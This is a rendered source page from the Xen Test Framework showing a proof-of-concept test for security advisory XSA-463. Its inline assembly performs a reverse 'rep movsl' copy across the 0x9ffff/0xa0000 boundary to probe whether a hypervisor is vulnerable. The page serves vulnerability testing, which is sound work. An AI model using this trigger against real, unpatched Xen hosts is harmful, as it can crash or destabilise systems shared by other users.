Xen Test Framework
tests
xsa-463
main.c
Go to the documentation of this file.
1
19
#include <xtf.h>
20
21
const
char
test_title
[] =
"XSA-463 PoC"
;
22
23
void
test_main
(
void
)
24
{
25
unsigned
long
tmp;
26
27
asm
volatile
(
"std\n\t"
28
"rep movsl\n\t"
29
"cld"
30
:
"=S"
(tmp),
"=D"
(tmp),
"=c"
(tmp)
31
:
"S"
(0x9ffff),
"D"
(0xa0000),
"c"
(2)
32
:
"memory"
);
33
34
xtf_success
(
"Success: Not vulnerable to XSA-463\n"
);
35
}
36
37
/*
38
* Local variables:
39
* mode: C
40
* c-file-style: "BSD"
41
* c-basic-offset: 4
42
* tab-width: 4
43
* indent-tabs-mode: nil
44
* End:
45
*/
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
Generated by
1.9.4